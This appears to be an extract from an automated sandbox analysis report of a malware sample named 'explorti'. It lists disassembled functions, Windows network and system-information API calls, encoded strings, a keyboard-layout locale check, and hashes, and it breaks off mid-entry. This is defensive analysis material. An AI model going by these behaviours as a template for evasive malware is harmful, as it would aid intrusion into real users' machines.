Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 0657d1$246122658369$6YK0$7470$75G0$7JS0$84K0$85K3cq==$8IG0$8lU=$9YY0$9pG0$Dy==$IEYUMK==$KIG+$KIK+$TZC0$TZS0$Toe0$UIU0$stoi argument out of range
API String ID: 2414744145-1285461467
Opcode ID: 8666145a33ae0b571204db0136686020c2ee26f2f055f30cac60b5f5d1cf03a2
Instruction ID: f5c499a20033df799cbbb4f1e72f006cddebe0f7db0c379826e38d837917f1ee
Opcode Fuzzy Hash: 8666145a33ae0b571204db0136686020c2ee26f2f055f30cac60b5f5d1cf03a2
Instruction Fuzzy Hash: 66231871E001589BEB19DB28CD8979DBB769F81308F5482DCE009AB2D2DB399F84DF51

Function 00F55DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 00F55F64
00000422, xrefs: 00F55FD9
00000419, xrefs: 00F55FA8
00000423, xrefs: 00F5600A
0000043f, xrefs: 00F5603B

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 88d870939f74747978297f1341522c16ef67a422ac8e135dc3acbf6457e428ad
Instruction ID: f9949ee5816f789b5a5403ebe5d14e2f128ecfa24b855fc4e3e002f8ee0d8596
Opcode Fuzzy Hash: 88d870939f74747978297f1341522c16ef67a422ac8e135dc3acbf6457e428ad
Instruction Fuzzy Hash: 21E1AF71900218ABEB24DFA4CC89BDEB779AF04304F5442D9E909A7291D774AFC8DF91

Function 00F57D00 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00F57EA3

Strings

HlusMa==, xrefs: 00F5810A
HlurNa==, xrefs: 00F581B2
HlurOK==, xrefs: 00F58062
Dp, xrefs: 00F57F45, 00F5802A, 00F580D2, 00F5817A

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: Dp$HlurNa==$HlurOK==$HlusMa==
API String ID: 1721193555-1904828215
Opcode ID: 54fa79145d98164bcff80997f7f7dbaf400f8ee8708031a6f811db213bd8fea4
Instruction ID: 75b802cd8096cf632a6b8f5b7ae51ddbee72b06ac440384e3d6c34ec8ef9593f
Opcode Fuzzy Hash: 54fa79145d98164bcff80997f7f7dbaf400f8ee8708031a6f811db213bd8fea4
Instruction Fuzzy Hash: 90D12B70E007049BDF14BB28DC5B39D7B71AB42325F544288E905AB3C2DB399E85ABD2

Function 00F86E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 00F86E23
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00F86E7D
__dosmaperr.LIBCMT ref: 00F86F12

Part of subcall function 00F87177: __dosmaperr.LIBCMT ref: 00F871AC

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: b3e92aeb1a54e1d2056634ccd939d916b13d98875f962fa464d38fb1f9bdbc9a
Instruction ID: 95a2865cbaf9ffa0e0f43aa5e018d500ba3dc2a2a16dd651e71dc45c3b1ac36f
Opcode Fuzzy Hash: b3e92aeb1a54e1d2056634ccd939d916b13d98875f962fa464d38fb1f9bdbc9a
Instruction Fuzzy Hash: 78414975900244AADB24FFB5EC45AEBBBF9EF88310B10452DF956D3610EB34E904EB61

Function 00F582B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00F58454

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 04c8034eb5dd9550f5dcd12f5ad9badd0f341948b338cfb79f6215f47c183a4a
Instruction ID: 13cca94070baa629d74cb0dda10b79ccb04b554e5f8434ea3f95d6129395be49
Opcode Fuzzy Hash: 04c8034eb5dd9550f5dcd12f5ad9badd0f341948b338cfb79f6215f47c183a4a
Instruction Fuzzy Hash: EF515970D002089BEB24EB38CC457EDB775EB45355F5042A8ED09B72C1EF359E859B91

Function 00F86C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55c70076738c684a974723d4111c06b004990f290fe5fb1cb52f154cc677a222
Instruction ID: 0644448696c6d6a4fedf6131ca164e870ef53fefdf1be15365877d93ce8caab4
Opcode Fuzzy Hash: 55c70076738c684a974723d4111c06b004990f290fe5fb1cb52f154cc677a222
Instruction Fuzzy Hash: 8921C872A05208BAEB11BB649C42FDF37699F41778F204311F9346B1D1D7749E05A7A2

Function 00F86F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 00F86FB3

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 69855e21b182245b1e6a91a1c6df22fc2fed6eb2052a8f90a4cfbc92c0d35cb4
Instruction ID: 281fb899816f0c48a3adbdc950d7c2a9e193e77f5d16276f24dfea2b442371df
Opcode Fuzzy Hash: 69855e21b182245b1e6a91a1c6df22fc2fed6eb2052a8f90a4cfbc92c0d35cb4
Instruction Fuzzy Hash: B711F17290020CABDB10EED5D944EDFB7BCAF48310F605266F611E6180EB34EB44DB61

Function 00F66AE0 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE ref: 00F66B65

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 607ea1d273165d540a8dc8b52fbaf3ca98f97bead70f2630d67298d39efe21c0
Instruction ID: c86d5c2248691f5d7b06d3b954d2a9f6a89246c8250237aa2ce28363228ee5dd
Opcode Fuzzy Hash: 607ea1d273165d540a8dc8b52fbaf3ca98f97bead70f2630d67298d39efe21c0
Instruction Fuzzy Hash: 86F0F471E40608BBC700BB78DC07B1DBB74AB47B60F900348E821672E1DA396A04ABD3

Function 04BE0CEA Relevance: .1, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2885186408.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4be0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbaa3c702f7b2841a284413199dc392ab03128e93de77193abec9746b3119056
Instruction ID: 7efbc504655d5964f02c2144963ad43c9bd53339d220fbbf2933abfbc6aa162f
Opcode Fuzzy Hash: cbaa3c702f7b2841a284413199dc392ab03128e93de77193abec9746b3119056
Instruction Fuzzy Hash: 6F21AAEB24D1317D6142A5436B10BFB676ED2C6730731C867F847C6602F3D96A893531

Function 04BE0CDB Relevance: .1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2885186408.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4be0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3def324a860cbe8241df050cb5b749746a372fabc174ceca4dfd34776edbd0e3
Instruction ID: e5c2abee4e26700ad256ab0cfb1ce55019df3b947dc28750bf41b43c8b74a976
Opcode Fuzzy Hash: 3def324a860cbe8241df050cb5b749746a372fabc174ceca4dfd34776edbd0e3
Instruction Fuzzy Hash: A51182EB24C1757D6042A5432F10AFB6A6ED1C6730331C4A6BC47C6502F3D9AE893231

Function 04BE0D0A Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885186408.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4be0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6933487bf078503e953d000a35cfa047e25aeba0035dbab23d655157a137cc4a
Instruction ID: 033361174996beb800c394d7ca904516aa7e787634c936ac6543b9a6b8d007bd
Opcode Fuzzy Hash: 6933487bf078503e953d000a35cfa047e25aeba0035dbab23d655157a137cc4a
Instruction Fuzzy Hash: BA1152EB20C175BDA042A5536F10AFA676ED2C6730731C867F847C6506F3D96A8A7231

Function 04BE0D18 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885186408.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4be0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 856d1abb3d467156d9ca1b5e7ac7110fc984ba00b1c5b322cfa134053e6dadb2
Instruction ID: f3fe20164b732114efc41ace216ceb1dfa66642bd52e5cb5f124c9785ab11256
Opcode Fuzzy Hash: 856d1abb3d467156d9ca1b5e7ac7110fc984ba00b1c5b322cfa134053e6dadb2
Instruction Fuzzy Hash: 771182AB20C1717D6142A5836B54AFA6A6ED2C6730731C86BF847C6542E3D9AA4A3231

Function 04BE0D29 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885186408.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4be0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7e17977b31ceb87c415e4a548482795d4886636785e2d919a5c23a9917b4cda
Instruction ID: 900d00133b5debd4e66290d5f1d895748e11d221ce86e1dc40f90548ef6de4da
Opcode Fuzzy Hash: c7e17977b31ceb87c415e4a548482795d4886636785e2d919a5c23a9917b4cda
Instruction Fuzzy Hash: 3311A5AB20C1707DA10295836B50AFB6BADD5C6730335C46BFC43C6502E3D9694A3231

Function 04BE0D41 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885186408.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4be0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8047a72aab4bed9143bf2c01f841dfc17e43a87d3109526b41e820e211dc5294
Instruction ID: da3f8f83cfc4060522b59fd5d434b5492569ef18aa970468cf335032ca8e7d13
Opcode Fuzzy Hash: 8047a72aab4bed9143bf2c01f841dfc17e43a87d3109526b41e820e211dc5294
Instruction Fuzzy Hash: B20180AB20C2747E6142A5437B10AFB6B6DD1C6730731C86BFC42C2402E3D969497231

Function 04BE0D84 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885186408.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4be0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fb93ea86239db77849cf7dcf1c911a0bd3ec10c4a7143a89f180e5e956d16fb
Instruction ID: 09e87a50f10b149e0943aa4065b345654385853caf608db9afab3d7f84e18445
Opcode Fuzzy Hash: 0fb93ea86239db77849cf7dcf1c911a0bd3ec10c4a7143a89f180e5e956d16fb
Instruction Fuzzy Hash: 3E014CE710C1306EA501A5435B406F7675DE2D5330370D866F843C2541F3D8B8867632

Function 04BE0D5F Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885186408.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4be0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 507e6f993357370732669750148a0ab56fad4c7891c5d0bfd7628fe31cf1618d
Instruction ID: 3b7022de0f49ee52b10b1273022096d7bdea49bc30fe2d0c1a51bc5698956a00
Opcode Fuzzy Hash: 507e6f993357370732669750148a0ab56fad4c7891c5d0bfd7628fe31cf1618d
Instruction Fuzzy Hash: 9001F7BB20C225AEA141E6936A049FB77AAE6C1330731C46BF842C6502E3D9A9497631

Function 04BE0E0E Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885186408.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4be0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 108d4a3075863026e80f2f0d16da4f3c95b70d89efb326f712f54f4aebc5c360
Instruction ID: d21c858d9f30c355f12680284d5b799005b1b17d009aa975865853f1eeb34511
Opcode Fuzzy Hash: 108d4a3075863026e80f2f0d16da4f3c95b70d89efb326f712f54f4aebc5c360
Instruction Fuzzy Hash: BCF0C8E710C1217EE11191666F15AF75B9ED3C6730B31C866F883C2587E3D9558A6232

Function 04BE0D8D Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885186408.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4be0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e2ed1e10517ec02b9f6ef5274edf61256e8c7c7f58c8b4a90f96a92d81f0d50
Instruction ID: e8ffb6fdc835056272e1e57ee7a3d86704a87ec0dd64cb4650b999a00b89a069
Opcode Fuzzy Hash: 9e2ed1e10517ec02b9f6ef5274edf61256e8c7c7f58c8b4a90f96a92d81f0d50
Instruction Fuzzy Hash: 1EF02DF720C2716EA10295926B109FB6BAEE5D7730331D8ABF842C2503F3D95D4A7531

Function 04BE0DB2 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885186408.0000000004BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4be0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17f51baf4fd0fef9938ced16110c55399399cf71dc6daa4837c68dbdbb22a761
Instruction ID: b85e68d3198ef30d3be0e0d8d5b85190916d9618188e0042502391e620134af0
Opcode Fuzzy Hash: 17f51baf4fd0fef9938ced16110c55399399cf71dc6daa4837c68dbdbb22a761
Instruction Fuzzy Hash: F5F0E2E720C1317EB002A1936F11AFB579ED2C6730731CC66B883C3582E3C9298A7132

Non-executed Functions

Function 00F5E440 Relevance: 14.8, Strings: 11, Instructions: 1000COMMON

Download Yara Rule

Strings

111, xrefs: 00F5F6B0
UFy=, xrefs: 00F5F62D, 00F5F90A
SC==, xrefs: 00F5EA1F, 00F5EC66
KS==, xrefs: 00F5E4A5
246122658369, xrefs: 00F5F647, 00F5F924, 00F604F7, 00F608AA
0657d1, xrefs: 00F5FA9E
UVu=, xrefs: 00F604DA
#, xrefs: 00F60534
EpPoaRV1, xrefs: 00F5E47F
UVy=, xrefs: 00F6088D
KIG+, xrefs: 00F5E734

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: #$0657d1$111$246122658369$EpPoaRV1$KIG+$KS==$SC==$UFy=$UVu=$UVy=
API String ID: 0-3836280467
Opcode ID: 10afbd7a74a26857f7d82d3e7227cb20a1fdf16c0d1ce5b62cba074091f29471
Instruction ID: 36a7646f1f5227173ce38dd4c96d5a01fddeb6fd0351543ec23859a32933ce87
Opcode Fuzzy Hash: 10afbd7a74a26857f7d82d3e7227cb20a1fdf16c0d1ce5b62cba074091f29471
Instruction Fuzzy Hash: 1182F670914248DBEF14EF68CD497DD7FB6AB46308F608188E805673C2D7799A88DBD2

Function 00F93068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00F931E3

Strings

1#QNAN, xrefs: 00F94381
1#INF, xrefs: 00F9439E
1#SNAN, xrefs: 00F9437A
1#IND, xrefs: 00F94373

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
